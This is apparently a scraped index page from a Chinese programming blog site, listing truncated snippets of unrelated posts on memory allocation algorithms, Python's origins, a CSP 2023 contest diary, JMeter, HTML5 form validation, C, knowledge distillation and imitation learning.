两种算法 首次适应 首次适应算法从空闲分区表的第一个表目起查找该表,把最先能够满足要求的空闲区分配给作业,这种方法目的在于减少查找时间.为适应这种算法,空闲分区表(空闲区链)中的空闲分区要按地址由低到 ...
- [oeasy]python00134_[趣味拓展]python起源_历史_Guido人生_ABC编程语言_Tanenbaum
python 历史 回忆上次内容 颜文字是kaomoji 把字符变成一种图画的方法 一层叠一层 很多好玩儿的kaomoji是一层层堆叠起来的meme 添加图片注释,不超过 140 字(可选 ...
- 【游记】CSP 2023
day 0 和 printfmingren 整理了一下不会的知识点,发现有点多,遂开摆 音游真的太好玩了 对着<算法竞赛进阶指南>复习了下对拍器的写法,把部分算法的模板又打了一遍 感觉前途 ...
- Jmeter参数化3-正则表达式提取
如果你想要将jmeter上个接口返回的参数值传到下个接口请求参去,可用正则表达式来提取传递 1.首先得到jmeter接口的json返回结果 2.组件路径:线程组->右键添加->后置处理器- ...
- 【H5】16 表单 其五 表单验证
在将数据提交到服务器之前,重要的是确保以正确的格式填写所有必需的表单控件.这称为客户端表单验证,可帮助确保所提交的数据符合各种表单控件中规定的要求.本文将引导您通过基本概念和客户端表单验证示例. 先决 ...
- 【Tutorial C】01 概述
历史 History 欢迎来到C语言的世界!C语言是一种强大的专业化编程语言,深受业余和专业编程人员的欢迎. 在学习之前先让我们了解和认识它! C语言的原型是A语言(ALGOL 60语言). 1963 ...
- 读论文《Distilling the Knowledge in a Neural Network》——蒸馏网络 —— 蒸馏算法 —— 知识蒸馏 中的温度系数到底怎么用, temperature怎么用?
论文地址: https://arxiv.org/pdf/1503.02531.pdf 蒸馏网络的重要公式: 其中,\(p^g\)为Teacher网络,\(q\)为Student网络. 个体神经网络(C ...
- Python报错:WARNING conda.models.version:get_matcher(542): Using .* with relational operator is superfluous and deprecated and will be removed in a future version of conda.
参考: https://blog.csdn.net/weixin_45685859/article/details/132916216 报错: [23:59:14](pytorch) devil@OM ...
- 【转载】 模仿学习:在线模仿学习与离线模仿学习 ———— Imitate with Caution: Offline and Online Imitation
网上闲逛找到的一篇文章,介绍模仿学习的,题目: Imitate with Caution: Offline and Online Imitation 之所以转载这个文章是因为这个文章还是蛮浅显易懂的, ...